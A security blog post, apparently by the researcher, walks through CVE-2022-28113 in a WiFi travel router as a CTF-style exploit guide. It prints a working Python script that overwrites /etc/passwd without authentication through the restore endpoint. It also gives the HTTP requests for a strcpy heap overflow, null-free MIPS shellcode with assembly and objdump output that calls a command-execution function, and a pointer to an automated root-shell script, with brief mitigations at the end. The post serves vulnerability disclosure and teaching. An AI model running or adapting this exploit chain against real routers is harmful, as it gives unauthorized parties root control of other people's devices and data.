Yet another WiFi Travel Router exploit

Thumbnail containing a photo of the wifi router

WiFi Travel routers are affordable and provide wireless networking as well as file sharing services at low cost. But how secure are they actually? I recently purchased one and had fun smashing its stack. This posts demonstrates how an unauthorized user can take full control over the router without any required user interaction. The full vulnerability is published under CVE-2022-28113.

Overview

This post provides provides a detailed guide on finding this vulnerability and exploiting it. See it as a real-life CTF walktrough. Any unauthenticated, unauthorized malicious user can execute arbitrary terminal commands as root user, taking full control over the device. No passwords, reboots or user inputs are required.

The exploit consists of two stages:

  • First: Gain access to the web interface as admin user
  • Second: Exploit a buffer overflow vulnerability for remote code execution

Enumeration

A quick netcat scan reveals the services provided by the router. On port 80, a web interface allows to configure the device and access files from the connected drives. Only the admin user can log in, no further accounts can be created.

WiFi router login page

To find vulnerabilities, log in and capture all web traffic using a proxy like BurpSuite or mitmproxy. The example below shows the Internet Network Settings page and the corresponding web request.

WiFi router admin panel

POST /protocol.csp?fname=net&opt=wifi_client&function=set HTTP/1.1
Host: 10.10.10.254
Content-Length: 82
Method: POST /protocol.csp?fname=net&opt=wifi_client&function=set HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.74 Safari/537.36
Content-Type: application/x-www-form-urlencoded
Accept: */*
Origin: http://10.10.10.254
Referer: http://10.10.10.254/apps/network/internet.html
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Cookie: SESSID=DE4ri41qPWOPIzWUxXLL8AJRbOA2MzthdoynrADfrrVaQ; Language=us
Connection: close

SSID=code-byter-wifi&mac=7e%3Af1%3A33%3A34%3Aa1%3A37&passwd=supersecurepassword&dhcp=1


All web-requests contain the SESSID in the cookie. This is used to authenticate the user and is present in all requests. If we drop the session cookie, the server return an error code.

Network setting error response


Initial access

Initially, we don’t have any valid credentials or session id. One technique to gain initial access is to enumerate which web requests works if the session id is dropped, which is the case for most/all GET requests in this web interface.

This allows us to leak all files of the connected drives and other sensitive information such as the wifi password, but not to modify any data or execute custom commands.

Vulnerability

Another interesting target is the backup functionality. The backup can be downloaded without providing any session cookie and consists of sensitive user information like the contents of /etc/shadow containing the password hashes of all users. These can be cracked using tools like hashcat or John the Ripper, but takes lots of time.


Router backup settings


The restore functionality, which works without the session cookie as well, is more relevant, as no password hash cracking is necessary. The following screenshot shows the original POST request to load a backup file. The request contains the upload-path and the filename with its contents in the body. Instead of writing the backup file to the connected drive, we can directly write the shadow and passwd file in the /etc/ directory.


Annotated backup request

Exploitation

The following python code snipped, creates a post request containing the /etc/passwd file with the hashes of root:20080826 and admin:codebyter. Analogous we can perform the same operation to override the /etc/shadow file. All cookies and headers are not verified and thus can be removed from the request.

import requests

params = (
    ('uploadpath', '/etc/'),
    ('file', '1647027124436'),
)

data = """
sysresumefileform\r
------WebKitFormBoundaryRY0m57TtzHmaTLaT\r
Content-Disposition: form-data; name="file1"; filename="passwd"\r
Content-Type: text/html\r\n\r\n
root:$1$yikWMdhq$cIUPc1dKQYHkkKkiVpM/v/:0:0:root:/root:/bin/sh
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
admin:$1$s0eJ96e.$9EjwaKxLMqkYxHRPArA4g/:15:0:user:/data:/bin/sh
mail:*:8:8:mail:/var/mail:/bin/sh
nobody:x:65534:65534:Nobody:/data/UsbDisk1/Volume1:/bin/sh"""

response = requests.post('http://10.10.10.254/upload.csp', params=params, data=data, verify=False)

This code snippet allows any unauthenticated user to reset all passwords, without having to reboot the router. We can use the new admin user credentials to log into the web interface. It telnet is enabled by default, you can log in directly as root user, otherwise we need to find a remote code execution vulnerability in the web interface.


Remote code Execution

After initial access the next objective is to execute terminal commands. Let’s revisit the internet access settings page from the enumeration chapter.

Vulnerability

The web request contains the body parameters SSID, mac, passwd and dhcp. If a very long string is provided as parameter, the application crashes and displays 500 - Internal Server Error. This indicates a potential buffer overflow vulnerability.

Wifi networking vulnerability

Toolchain

The full firmware can be downloaded from the manufacturers website and contains the correct tools to compile and assemble code.

The vulnerable binary is located in /usr/bin/ioos. The binary is built for a little-endian MIPS architecture.

$ file ioos          
ioos: ELF 32-bit LSB executable, MIPS, MIPS-II version 1 (SYSV), dynamically linked, interpreter /lib/ld-uClibc.so.0, stripped

To debug the application, attach gdbserver to the process and launch gdb-multiarch on your machine to connect to the server.

Therefore, we need a working gdbserver version for this specific architecture. You can cross-compile gdb from source using the toolchain obtained from the downloaded firmware. As the toolchain is already outdated, only older gdb versions such as gdb-6.5 can be compiled.

To cross-compile gdbserver using the mipsel-linux toolchain, add the toolchain directory to your PATH environment variable on your host machine and execute the following commands.

../gdb-6.5/gdb/gdbserver/configure  --host=mipsel-linux --target=mipsel-linux
make

Next, transfer the binary to the wifi router and attach the gdbserver to the ioos process.

gdbserver localhost:4444 --attach {process_id} 

On your host machine launch gdb-multiarch and connect to the server

(gdb) target remote 10.10.10.254:4444


Exploitation

Attach a debugger to the process and send a large number of A characters as SSID parameter value together with a valid session cookie. You can observe the program counter being overwritten with \x41\x41\x41\x41 which causes a fault and exits the programm.

POST /protocol.csp?fname=net&opt=wifi_client&function=set HTTP/1.1
Host: 10.10.10.254
Content-Length: 82
Method: POST /protocol.csp?fname=net&opt=wifi_client&function=set HTTP/1.1
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Cookie: SESSID=DE4ri41qPWOPIzWUxXLL8AJRbOA2MzthdoynrADfrrVaQ; Language=us
Connection: close

SSID=code-byter-wifi&mac=7e%3Af1%3A33%3A34%3Aa1%3A37&passwd=supersecurepassword&dhcp=1

As this is a heap overflow, the payload itsself is stored on the heap and a function pointer is overwritten. The vulnerablerability exits, as strcpy does not check the length of the input.

After identifying the vulnerability, let’s determine our restrictions. The vulnerable function is strcpy. Thus the buffer overflow only works if the payload must not contain any \x00, as in C/C++ strings are terminated with null-bytes

Next, to verify if ASLR is used, execute the following command. In this case partial ASLR is enabled, so the exact stack addresses are unknown, but the heap and main binary addresses are constant. An exploit is possible if the payload is placed in heap memory or return-oriented-programming is used.

$ cat /proc/sys/kernel/randomize_va_space
1


The following command shows the memory mapping. As the heap is executable it can be used to store the shellcode. The injected payload can be found at address 0x0054ec9401. To execute it, overwrite the program counter with this address.

Unfortunately the address contains a nullbyte, which we cannot use in the payload. As strings are always terminated with null-bytes and the architecture is little endian, we can use this to our advantage. If the payload ends with \x01\x94\xec\x54, we can set the program counter to 0x0054ec9401, as the last byte of the string is \x00.


Memoy mapping


After being able to execute custom commands, the next step is to generate the payload. In the diassembled firmware, we can find the do_cmd function, which executes any string containing a terminal command. To execute it, we need to store the command as string in heap memory and load its address into the argument register a0 and call the function.


do_cmd function diassembly


To generate the payload, we have to write assembly code in such a way that the assembled machine hex code is null-byte free.

The first step is to move the string pointer 0x0054ecc4 into a0. As the address contains a null-byte, we can compute the value by adding an offset to the value of the link register ra. As this still instruction contains null-bytes, we can split it into two seperate ones, with large enough operands.

addi	a0,ra,292
addi	a0,a0,-244

Next, we need to load the address of do_cmd into any register (e.g. t9) and then jump to it. We can store this address in our payload and load the word from memory into the register. As the address of the function 0x0040ce84 contains null-bytes, we can store the value 0x0040ce84 + t9 in memory instead and substract the register value t9 afterwards.

lw	t8,-4(a0)
sub	t9,t8,t9
jalr	t9

Instead of inserting a nop instruction after lw, which contains null-bytes, we can insert ‘useless’ add instructions.

.file	1 "asm_to_hex.c"
add:
	add     $4, $31, 0x124
	add     $4, $4, -0xf4
	lw      $24, -4($4)
	add     $22, $23, $23
	add     $22, $23, $23
	sub     $25, $24, $25
	jalr    $25
	.end	add

Next generate hex code from the instructions. Therefore store them, as shown above in a file shellcode.asm. Then assemble it using mipsel-linux-as and dump the hexcode with mipsel-linux-objdump. Last, convert it into little endian format and send it to the router to execute any commands as root user.

$ mipsel-linux-as shellcode.asm -o shellcode.o
$ mipsel-linux-objdump -d shellcode.o

shellcode.o:     file format elf32-tradlittlemips

Disassembly of section .text:

00000000 <add>:
   0:	23e40124 	addi	a0,ra,292
   4:	2084ff0c 	addi	a0,a0,-244
   8:	8c98fffc 	lw	t8,-4(a0)
   c:	02f7b020 	add	s6,s7,s7
  10:	02f7b020 	add	s6,s7,s7
  14:	0319c822 	sub	t9,t8,t9
  18:	0320f809 	jalr	t9
  1c:	00000000 	nop

The following screenshot shows gdb with a breakpoint at the do_cmd function. As you can see, the address of the string terminal command is stored in the register a0 and the program counter points to the do_cmd function.

Screenshot of the login web interface


Automation

The whole exploitation process is automated with a python script. To spawn a root shell, clone this repository and run exploit.py.

Screenshot of the exploit script

Mitigation

The initial web vulnerability can be mitigated by verifying the session cookie for each http request. The buffer overflow vulnerability can be fixed by using strncpy instead of strcpy, as the number of copied characters is limited. Further enabling full ALSR would make the exploitation harder/impossible as the heap and firmware addresses are randomized.

References